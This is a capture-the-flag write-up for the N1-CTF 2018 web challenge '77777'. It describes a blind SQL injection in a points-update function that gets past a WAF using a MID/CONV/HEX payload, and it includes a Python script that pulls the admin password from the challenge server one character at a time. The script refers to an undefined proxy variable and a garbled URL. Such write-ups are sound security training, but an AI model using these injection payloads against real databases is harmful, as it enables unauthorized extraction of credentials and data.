[N1-CTF 2018] 77777 Write-up
Challenge Info
Category: Web Points: 1000 (Dynamic scoring, goes down when more people solve it)
Description:
"77777" is my girlfriend's nickname,have fun xdd:)
hk node: http://47.75.14.48
cn node: http://47.97.168.223
(Two challenge servers are identical, use either of them.)
The Challenge
Upon visiting the site we’re shown two very big hints, U can update my points in Profile.
and And the flag is admin's password :)
. Visiting the rest of the pages we can see the profile
which just simply displays the amount of points they have, on the some code
page we get a screenshot of the code running in the background, and on the some info
page we get a screenshot which displays what software is running on the server.
Below is the code revealed on the some code
page.
After reading over the code it’s obvious that the update_points
function is vulnerable to SQL Injection via the $points
parameter. However, it is also running through a waf function which we don’t have the code for.
After doing some research on different ways I could exploit this, I came across a technique about using CONV(hex((query)))
to extract data, after struggling on trying to get it working for ages, I FINALLY got it working using this query 1*CONV(HEX((SELECT MID(password,1,3))),16,10)
. This allows us to multiply 1 by the base-10 hex representation of a string, giving us the ability to leak the flag contents from the admin’s password.
For anyone who isn’t familiar with the functions in the statement I’ll break them down for you, MID
allows you to obtain a substring of the field (I couldn’t use SUBSTRING
because it was blocked by the waf :( ), the format is MID(field, <starting position>, <length>)
. CONV
allows us to convert a hex value to it’s base 10 representation and HEX
is used to convert the substring to its hex representation.
Solution
After some more fiddling around I wrote a quick python script to automate it for me and do the decoding.
import requests
import re
from time import sleep
s = requests.Session()
regex = "\|\s[\d]+<br" # Regex to extract the current points
flag = "1"
i = 1
password = ""
def dec2hex(dec): # don't know why i did this instead of doing it properly? lol
result = s.get("https://www.binaryhexconverter.com/hesapla.php?fonksiyon=dec2hex°er={}&pad=false&v=2".format(dec))
return result.text
while True:
hi = '*CONV(HEX((SELECT MID(password,{},1))),16,10)'.format(i)
postData = {
"flag":flag,
"hi":hi
}
url = "http://47.75.14.48/"
attack = s.post(url, data=postData, proxies=proxyDict)
result = re.findall(regex, attack.text)
if len(result) > 0:
dechex = result[0].replace("| ","").replace("<br","") # extract points
hex = dec2hex(dechex) #convert decimal to hex
plain = bytes.fromhex(hex).decode("ascii") # convert hex to ascii
password += plain #append to password
print(password)
i += 1
sleep(1)
Results:
After running it for about 10-20 seconds we have the password, submitting in the format N1CTF{helloctfer23333}
gets us the points!